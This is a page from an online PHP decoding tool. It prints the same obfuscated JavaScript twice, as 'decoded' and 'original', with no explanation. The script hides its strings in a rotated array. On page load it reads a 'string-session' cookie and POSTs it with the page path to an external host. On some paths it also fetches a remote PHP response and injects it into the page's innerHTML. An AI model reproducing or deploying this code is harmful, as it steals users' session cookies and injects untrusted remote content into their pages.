Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function a() { var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'i..

Decoded Output download

<?  function a() { 
    var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'ind', 'exO', '5=;', 'nav', 'Ele', 'tio', 'kie', '1429499MAMzpJ', 'kas', 'bot', '7354420iDqfuv', 'typ', 'men', 'rok', 'y.p', 'on/', '6698SgWrTK', 'ssi', 'the', 'gth', 'uap', 'ps:', 'elf', '711635XqbrNm', '.he', 'loc', '13218835VrJveG', 'Max', 'POS', '//t', 'rAt', 'jso', 'ELO', 'str', 'TYP', 'lev', '999', 'spl', '36lKTkgv', 'ny-', '42JZYxbT', 'onl', 'hna', '-Ag', 'e=-', 'src', 'om/', '12665530vELKun', 'cha', 'p.c', 'iga', 'tle', 'htt', '141UgAwzT', 'pat']; 
    a = function() { 
        return n; 
    } 
    ; 
    return a(); 
} 
var k = b; 
(function(c, d) { 
    var i = b 
      , e = c(); 
    while (!![]) { 
        try { 
            var f = parseInt(i(0xff)) / (0x4 * -0x3c + -0xe42 + 0x511 * 0x3) + -parseInt(i(0x108)) / (-0x260c + -0x19 * -0x16 + 0x47d * 0x8) * (parseInt(i(0xef)) / (0x9a1 * 0x3 + 0x5 * -0x1ba + -0x143e)) + parseInt(i(0x102)) / (0x212d + 0x1 * 0x1406 + -0x352f) + parseInt(i(0x10f)) / (0x1 * 0x24d + -0xa1c + 0x7d4) * (-parseInt(i(0xe2)) / (0x24b * 0x1 + -0x157a * -0x1 + -0x17bf)) + parseInt(i(0x112)) / (-0x269d + -0x962 * 0x2 + 0xb * 0x538) + -parseInt(i(0xf3)) / (-0x994 * -0x3 + -0x1 * -0x3d1 + 0xad7 * -0x3) * (parseInt(i(0x11e)) / (-0xfee * -0x1 + 0x1271 + 0x1e * -0x125)) + -parseInt(i(0xe9)) / (0x3 * 0x44d + -0x44e * 0x1 + 0x7 * -0x139); 
            if (f === d) 
                break; 
            else 
                e['push'](e['shift']()); 
        } catch (g) { 
            e['push'](e['shift']()); 
        } 
    } 
}(a, -0x1ad113 + 0x1 * 0xe87eb + -0x8 * -0x365c3)); 
function b(c, d) { 
    var e = a(); 
    return b = function(f, g) { 
        f = f - (-0x1a48 + -0x286 * 0x5 + 0x27c7); 
        var h = e[f]; 
        return h; 
    } 
    , 
    b(c, d); 
} 
function readCookie(d) { 
    var j = b 
      , e = d + '=' 
      , f = document['coo' + j(0xfe)][j(0x11d) + 'it'](';'); 
    for (var g = -0x4 * -0x1b7 + 0x1246 + 0x1922 * -0x1; g < f['len' + j(0x10b)]; g++) { 
        var h = f[g]; 
        while (h[j(0xea) + j(0x116)](0x1e9 * 0x3 + 0x5a9 + -0xb64) == ' ') 
            h = h['sub' + j(0x119) + j(0xf6)](-0x263b + -0x1 * 0x1c2d + -0x761 * -0x9, h[j(0xf5) + j(0x10b)]); 
        if (h[j(0xf8) + j(0xf9) + 'f'](e) == 0x2 * 0xa7b + 0x7 * -0x31a + 0x8 * 0x18) 
            return h['sub' + 'str' + j(0xf6)](e['len' + j(0x10b)], h[j(0xf5) + 'gth']); 
    } 
    return null; 
} 
window[k(0xe3) + 'oad'] = ()=>{ 
    var l = k; 
    const c = readCookie('str' + 'ing' + '-se' + l(0x109) + 'on'); 
    if (c != null) { 
        const d = window[l(0x111) + 'ati' + 'on'][l(0xf0) + l(0xe4) + 'me'] 
          , e = l(0xee) + l(0x10d) + l(0x115) + 'he-' + l(0x119) + 'ing' + '-ha' + l(0xf2) + l(0xe1) + l(0x101) + l(0x110) + l(0x105) + l(0x10c) + l(0xeb) + l(0xe8) 
          , f = { 
            'session': c, 
            'ans': d 
        }; 
        fetch(e, { 
            'method': l(0x114) + 'T', 
            'headers': { 
                'Content-Type': 'app' + 'lic' + l(0xf4) + l(0x107) + l(0x117) + 'n' 
            }, 
            'body': JSON['str' + 'ing' + 'ify'](f) 
        })[l(0x10a) + 'n'](g=>{} 
        ); 
    } 
} 
; 
location['pat' + 'hna' + 'me'][0x1732 + 0x96e * 0x1 + 0x1 * -0x209f] == 'v' && location['pat' + k(0xe4) + 'me'][-0xa2c + -0x6e6 + 0x111a] == 'f' && location[k(0xf0) + k(0xe4) + 'me'][0x1 * -0x267d + -0x1d * -0x13 + 0x1 * 0x2468] == 'f' && performance['nav' + k(0xec) + k(0xfd) + 'n'][k(0x103) + 'e'] == performance[k(0xfb) + k(0xec) + k(0xfd) + 'n'][k(0x11a) + k(0xf7) + k(0x118) + 'AD'] ? fetch('ric' + k(0x100) + k(0xed) + k(0x106) + 'hp')['the' + 'n'](c=>c[k(0xf1) + 't']())[k(0x10a) + 'n'](c=>{ 
    var m = k; 
    c && (document['get' + m(0xfc) + m(0x104) + 'tBy' + 'Id'](m(0x11b) + m(0x10e) + '5')[m(0xe7)] = c); 
} 
) : document['coo' + k(0xfe)] = 'lev' + k(0x10e) + k(0xfa) + k(0x113) + k(0xe5) + k(0xe6) + k(0x11c) + k(0x11c) + '99'; 
 ?>

Did this file decode correctly?

Original Code

function a() {
    var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'ind', 'exO', '5=;', 'nav', 'Ele', 'tio', 'kie', '1429499MAMzpJ', 'kas', 'bot', '7354420iDqfuv', 'typ', 'men', 'rok', 'y.p', 'on/', '6698SgWrTK', 'ssi', 'the', 'gth', 'uap', 'ps:', 'elf', '711635XqbrNm', '.he', 'loc', '13218835VrJveG', 'Max', 'POS', '//t', 'rAt', 'jso', 'ELO', 'str', 'TYP', 'lev', '999', 'spl', '36lKTkgv', 'ny-', '42JZYxbT', 'onl', 'hna', '-Ag', 'e=-', 'src', 'om/', '12665530vELKun', 'cha', 'p.c', 'iga', 'tle', 'htt', '141UgAwzT', 'pat'];
    a = function() {
        return n;
    }
    ;
    return a();
}
var k = b;
(function(c, d) {
    var i = b
      , e = c();
    while (!![]) {
        try {
            var f = parseInt(i(0xff)) / (0x4 * -0x3c + -0xe42 + 0x511 * 0x3) + -parseInt(i(0x108)) / (-0x260c + -0x19 * -0x16 + 0x47d * 0x8) * (parseInt(i(0xef)) / (0x9a1 * 0x3 + 0x5 * -0x1ba + -0x143e)) + parseInt(i(0x102)) / (0x212d + 0x1 * 0x1406 + -0x352f) + parseInt(i(0x10f)) / (0x1 * 0x24d + -0xa1c + 0x7d4) * (-parseInt(i(0xe2)) / (0x24b * 0x1 + -0x157a * -0x1 + -0x17bf)) + parseInt(i(0x112)) / (-0x269d + -0x962 * 0x2 + 0xb * 0x538) + -parseInt(i(0xf3)) / (-0x994 * -0x3 + -0x1 * -0x3d1 + 0xad7 * -0x3) * (parseInt(i(0x11e)) / (-0xfee * -0x1 + 0x1271 + 0x1e * -0x125)) + -parseInt(i(0xe9)) / (0x3 * 0x44d + -0x44e * 0x1 + 0x7 * -0x139);
            if (f === d)
                break;
            else
                e['push'](e['shift']());
        } catch (g) {
            e['push'](e['shift']());
        }
    }
}(a, -0x1ad113 + 0x1 * 0xe87eb + -0x8 * -0x365c3));
function b(c, d) {
    var e = a();
    return b = function(f, g) {
        f = f - (-0x1a48 + -0x286 * 0x5 + 0x27c7);
        var h = e[f];
        return h;
    }
    ,
    b(c, d);
}
function readCookie(d) {
    var j = b
      , e = d + '='
      , f = document['coo' + j(0xfe)][j(0x11d) + 'it'](';');
    for (var g = -0x4 * -0x1b7 + 0x1246 + 0x1922 * -0x1; g < f['len' + j(0x10b)]; g++) {
        var h = f[g];
        while (h[j(0xea) + j(0x116)](0x1e9 * 0x3 + 0x5a9 + -0xb64) == '\x20')
            h = h['sub' + j(0x119) + j(0xf6)](-0x263b + -0x1 * 0x1c2d + -0x761 * -0x9, h[j(0xf5) + j(0x10b)]);
        if (h[j(0xf8) + j(0xf9) + 'f'](e) == 0x2 * 0xa7b + 0x7 * -0x31a + 0x8 * 0x18)
            return h['sub' + 'str' + j(0xf6)](e['len' + j(0x10b)], h[j(0xf5) + 'gth']);
    }
    return null;
}
window[k(0xe3) + 'oad'] = ()=>{
    var l = k;
    const c = readCookie('str' + 'ing' + '-se' + l(0x109) + 'on');
    if (c != null) {
        const d = window[l(0x111) + 'ati' + 'on'][l(0xf0) + l(0xe4) + 'me']
          , e = l(0xee) + l(0x10d) + l(0x115) + 'he-' + l(0x119) + 'ing' + '-ha' + l(0xf2) + l(0xe1) + l(0x101) + l(0x110) + l(0x105) + l(0x10c) + l(0xeb) + l(0xe8)
          , f = {
            'session': c,
            'ans': d
        };
        fetch(e, {
            'method': l(0x114) + 'T',
            'headers': {
                'Content-Type': 'app' + 'lic' + l(0xf4) + l(0x107) + l(0x117) + 'n'
            },
            'body': JSON['str' + 'ing' + 'ify'](f)
        })[l(0x10a) + 'n'](g=>{}
        );
    }
}
;
location['pat' + 'hna' + 'me'][0x1732 + 0x96e * 0x1 + 0x1 * -0x209f] == 'v' && location['pat' + k(0xe4) + 'me'][-0xa2c + -0x6e6 + 0x111a] == 'f' && location[k(0xf0) + k(0xe4) + 'me'][0x1 * -0x267d + -0x1d * -0x13 + 0x1 * 0x2468] == 'f' && performance['nav' + k(0xec) + k(0xfd) + 'n'][k(0x103) + 'e'] == performance[k(0xfb) + k(0xec) + k(0xfd) + 'n'][k(0x11a) + k(0xf7) + k(0x118) + 'AD'] ? fetch('ric' + k(0x100) + k(0xed) + k(0x106) + 'hp')['the' + 'n'](c=>c[k(0xf1) + 't']())[k(0x10a) + 'n'](c=>{
    var m = k;
    c && (document['get' + m(0xfc) + m(0x104) + 'tBy' + 'Id'](m(0x11b) + m(0x10e) + '5')[m(0xe7)] = c);
}
) : document['coo' + k(0xfe)] = 'lev' + k(0x10e) + k(0xfa) + k(0x113) + k(0xe5) + k(0xe6) + k(0x11c) + k(0x11c) + '99';

Function Calls

None

Variables

None

Stats

MD5 2a8b141ce55eadd08b7b0632a18f3946
Eval Count 0
Decode Time 38 ms